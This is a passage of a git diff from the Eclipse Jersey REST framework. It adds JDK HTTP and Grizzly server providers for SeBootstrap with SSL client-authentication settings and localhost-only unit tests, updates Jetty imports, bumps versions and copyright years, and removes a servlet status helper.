java.util.logging.Logger; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.grizzly.http.server.HttpServer; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link GrizzlyHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class GrizzlyHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort()); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage<?> start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage<?> stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(GrizzlyHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(HttpServer.class))); + assertThat(startResult, is(nullValue())); + assertThat(container, is(instanceOf(GrizzlyHttpContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public final Set<Object> getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(GrizzlyHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldScanFreePort() { + // given + final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return TRUE; + default: + return null; + } + }; + } + +} \ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java index 3ad7fb8..0a195f1 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2022 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java index 6a09e52..ec3f174 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -20,12 +20,12 @@ import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicReference; +import org.eclipse.jetty.client.ContentResponse; import org.eclipse.jetty.client.HttpClient; import org.eclipse.jetty.client.HttpClientTransport; -import org.eclipse.jetty.client.api.ContentResponse; -import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP; +import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP; import org.eclipse.jetty.http2.client.HTTP2Client; -import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; import org.eclipse.jetty.io.ClientConnector; import org.eclipse.jetty.util.ssl.SslContextFactory; import static org.junit.jupiter.api.Assertions.assertEquals;
diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml index 9588708..49c7d60 100644 --- a/containers/grizzly2-servlet/pom.xml +++ b/containers/grizzly2-servlet/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-grizzly2-servlet</artifactId> @@ -36,7 +36,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> @@ -72,6 +71,7 @@ <instructions> <Import-Package> jakarta.servlet.*;version="[5.0,7.0)", + org.glassfish.grizzly.*;version="[3.0,5.0)", * </Import-Package> </instructions>
diff --git a/containers/jdk-http/pom.xml b/containers/jdk-http/pom.xml index f81c101..abb6ca0 100644 --- a/containers/jdk-http/pom.xml +++ b/containers/jdk-http/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-jdk-http</artifactId> @@ -74,45 +74,8 @@ </resources> </build> - <profiles> - <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <properties> - <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> - <surefire.security.argline>-Djdk.tls.client.protocols=TLSv1.2</surefire.security.argline> - </properties> - </profile> - <profile> - <id>windows</id> - <activation> - <jdk>1.8</jdk> - <os> - <family>windows</family> - </os> - </activation> - <build> - <plugins> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-surefire-plugin</artifactId> - <configuration> - <!-- Exclude unit tests regarding JDK HTTP Server because of failing a server shutdown in a class - with several tests. "java.net.BindException: Address already in use: bind" - bug reported on https://bugs.openjdk.java.net/browse/JDK-8015692 --> - <excludes> - <exclude>org/glassfish/jersey/jdkhttp/BasicJdkHttpServerTest.java</exclude> - <exclude>org/glassfish/jersey/jdkhttp/JdkHttpPackageTest.java</exclude> - <exclude>org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java</exclude> - <exclude>org/glassfish/jersey/jdkhttp/LifecycleListenerTest.java</exclude> - </excludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - </profiles> - + <properties> + <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> + <surefire.security.argline>-Djdk.tls.client.protocols=TLSv1.2</surefire.security.argline> + </properties> </project>
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java index 1470f22..6349533 100644 --- a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java +++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
@@ -64,7 +64,7 @@ private volatile ApplicationHandler appHandler; /** - * Create new lightweight Java SE HTTP server container. + * Create new lightweight Java SE HTTP server container. * * @param application JAX-RS / Jersey application to be deployed on the container. */ @@ -73,7 +73,16 @@ } /** - * Create new lightweight Java SE HTTP server container. + * Create new lightweight Java SE HTTP server container. + * + * @param applicationClass class of JAX-RS / Jersey application to be deployed on the container. + */ + JdkHttpHandlerContainer(final Class<? extends Application> applicationClass) { + this.appHandler = new ApplicationHandler(applicationClass); + } + + /** + * Create new lightweight Java SE HTTP server container. * * @param application JAX-RS / Jersey application to be deployed on the container. * @param parentContext DI provider specific context with application's registered bindings.
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java new file mode 100644 index 0000000..33d0bcf --- /dev/null +++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java
@@ -0,0 +1,93 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jdkhttp; + +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY; +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL; + +import java.util.concurrent.CompletableFuture; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +import com.sun.net.httpserver.HttpServer; + +/** + * Jersey {@code Server} implementation based on JDK {@link HttpServer}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class JdkHttpServer implements WebServer { + + private final JdkHttpHandlerContainer container; + + private final HttpServer httpServer; + + JdkHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(new JdkHttpHandlerContainer(application), configuration); + } + + JdkHttpServer(final Class<? extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new JdkHttpHandlerContainer(applicationClass), configuration); + } + + JdkHttpServer(final JdkHttpHandlerContainer container, final JerseySeBootstrapConfiguration configuration) { + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration + .sslClientAuthentication(); + + this.container = container; + this.httpServer = JdkHttpServerFactory.createHttpServer( + configuration.uri(true), + this.container, + configuration.sslContext(), + sslClientAuthentication == OPTIONAL, + sslClientAuthentication == MANDATORY, + configuration.autoStart()); + } + + @Override + public final JdkHttpHandlerContainer container() { + return this.container; + } + + @Override + public final int port() { + return this.httpServer.getAddress().getPort(); + } + + @Override + public final CompletableFuture<Void> start() { + return CompletableFuture.runAsync(this.httpServer::start); + } + + @Override + public final CompletableFuture<Void> stop() { + return CompletableFuture.runAsync(() -> this.httpServer.stop(0)); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(this.httpServer); + } + +}
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java index 9b5f8b7..5de6973 100644 --- a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java +++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
@@ -26,6 +26,7 @@ import jakarta.ws.rs.ProcessingException; import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLParameters; import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder; import org.glassfish.jersey.jdkhttp.internal.LocalizationMessages; @@ -37,6 +38,7 @@ import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import com.sun.net.httpserver.HttpsConfigurator; +import com.sun.net.httpserver.HttpsParameters; import com.sun.net.httpserver.HttpsServer; /** @@ -177,8 +179,17 @@ } private static HttpServer createHttpServer(final URI uri, + final JdkHttpHandlerContainer handler, + final SSLContext sslContext, + final boolean start) { + return createHttpServer(uri, handler, sslContext, false, false, start); + } + + static HttpServer createHttpServer(final URI uri, final JdkHttpHandlerContainer handler, final SSLContext sslContext, + final boolean sslClientAuthWanted, + final boolean sslClientAuthNeeded, final boolean start) { if (uri == null) { throw new IllegalArgumentException(LocalizationMessages.ERROR_CONTAINER_URI_NULL()); @@ -187,7 +198,14 @@ final String scheme = uri.getScheme(); final boolean isHttp = "http".equalsIgnoreCase(scheme); final boolean isHttps = "https".equalsIgnoreCase(scheme); - final HttpsConfigurator httpsConfigurator = sslContext != null ? new HttpsConfigurator(sslContext) : null; + final HttpsConfigurator httpsConfigurator = sslContext != null ? new HttpsConfigurator(sslContext) { + public final void configure(final HttpsParameters httpsParameters) { + final SSLParameters sslParameters = sslContext.getDefaultSSLParameters(); + sslParameters.setWantClientAuth(sslClientAuthWanted); + sslParameters.setNeedClientAuth(sslClientAuthNeeded); + httpsParameters.setSSLParameters(sslParameters); + } + } : null; if (isHttp) { if (httpsConfigurator != null) {
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java new file mode 100644 index 0000000..b9edb30 --- /dev/null +++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java
@@ -0,0 +1,52 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jdkhttp; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +import com.sun.net.httpserver.HttpServer; + +/** + * Server provider for servers based on JDK {@link HttpServer}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JdkHttpServerProvider implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(JdkHttpServer.class, type, configuration) + ? type.cast(new JdkHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(JdkHttpServer.class, type, configuration) + ? type.cast(new JdkHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +}
diff --git a/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 0000000..2d8abc3 --- /dev/null +++ b/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.jdkhttp.JdkHttpServerProvider \ No newline at end of file
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java index 3886ea9..ad11787 100644 --- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java +++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
@@ -21,6 +21,7 @@ import java.util.logging.Level; import java.util.logging.Logger; +import javax.net.ssl.SSLContext; import jakarta.ws.rs.RuntimeType; import jakarta.ws.rs.core.UriBuilder; @@ -51,20 +52,21 @@ if (server != null) { return server.getAddress().getPort(); } - final String value = - AccessController.doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + + final String value = AccessController.doPrivileged( + PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); if (value != null) { try { final int i = Integer.parseInt(value); - if (i <= 0) { - throw new NumberFormatException("Value not positive."); + if (i < 0) { + throw new NumberFormatException("Value is negative."); } return i; } catch (NumberFormatException e) { LOGGER.log(Level.CONFIG, "Value of 'jersey.config.test.container.port'" - + " property is not a valid positive integer [" + value + "]." + + " property is not a valid non-negative integer [" + value + "]." + " Reverting to default [" + DEFAULT_PORT + "].", e); } @@ -90,17 +92,23 @@ public void startServer(Class... resources) { ResourceConfig config = new ResourceConfig(resources); - config.register(LoggingFeature.class); - final URI baseUri = getBaseUri(); - server = JdkHttpServerFactory.createHttpServer(baseUri, config); - LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + server.getAddress()); + startServer(config); } public void startServer(ResourceConfig config) { final URI baseUri = getBaseUri(); config.register(LoggingFeature.class); server = JdkHttpServerFactory.createHttpServer(baseUri, config); - LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + server.getAddress()); + LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + getBaseUri()); + } + + public HttpServer startServer(final URI uri, final ResourceConfig config, + final SSLContext sslContext, final boolean start) { + config.register(LoggingFeature.class); + server = JdkHttpServerFactory.createHttpServer(uri, config, sslContext, start); + LOGGER.log(Level.INFO, + "jdk-http server started on base uri: " + UriBuilder.fromUri(uri).port(getPort()).build()); + return server; } public URI getBaseUri() {
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java new file mode 100644 index 0000000..f831890 --- /dev/null +++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java
@@ -0,0 +1,195 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jdkhttp; + +import static java.lang.Boolean.FALSE; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.instanceOf; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +import com.sun.net.httpserver.HttpServer; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link JdkHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JdkHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JdkHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort()); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage<?> start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage<?> stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(JdkHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(HttpServer.class))); + assertThat(startResult, is(nullValue())); + assertThat(container, is(instanceOf(JdkHttpHandlerContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public Set<Object> getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(JdkHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public final void shouldScanFreePort() throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JdkHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return FALSE; + default: + return null; + } + }; + } +} \ No newline at end of file
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java index d8a2798..a0d978b 100644 --- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java +++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
@@ -99,7 +99,7 @@ @Test public void testStartHttpServerNoSslContext() throws Exception { assertThrows(IllegalArgumentException.class, - () -> JdkHttpServerFactory.createHttpServer(httpsUri, rc, null, true)); + () -> JdkHttpServerFactory.createHttpServer(httpsUri, rc, null, true)); } /** @@ -228,4 +228,4 @@ server = null; } } -} +} \ No newline at end of file
diff --git a/containers/jersey-servlet-core/pom.xml b/containers/jersey-servlet-core/pom.xml index 5985e69..783e2a9 100644 --- a/containers/jersey-servlet-core/pom.xml +++ b/containers/jersey-servlet-core/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-servlet-core</artifactId> @@ -36,7 +36,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java index abde2ac..19810fa 100644 --- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java +++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
@@ -318,33 +318,12 @@ final Response.Status badRequest = Response.Status.BAD_REQUEST; if (webComponent.configSetStatusOverSendError) { response.reset(); - setStatus(response, badRequest.getStatusCode(), badRequest.getReasonPhrase()); + response.setStatus(badRequest.getStatusCode()); } else { response.sendError(badRequest.getStatusCode(), badRequest.getReasonPhrase()); } } - /** - * <p> - * Set status and reason-phrase if the API still contains the method. Otherwise, only a status is sent. - * </p> - * <p> - * It can happen the Servlet 6 API is used and the method is not there any longer. A proprietary API can be used, - * or the class is transformed to Jakarta using some transformer means. - * </p> - * @param response the servlet {@link HttpServletResponse} - * @param statusCode the status code - * @param reasonPhrase the reason phrase - */ - public static void setStatus(HttpServletResponse response, int statusCode, String reasonPhrase) { - try { - // noinspection deprecation - response.setStatus(statusCode, reasonPhrase); - } catch (NoSuchMethodError noSuchMethodError) { - response.setStatus(statusCode); - } - } - @Override public void destroy() { super.destroy();
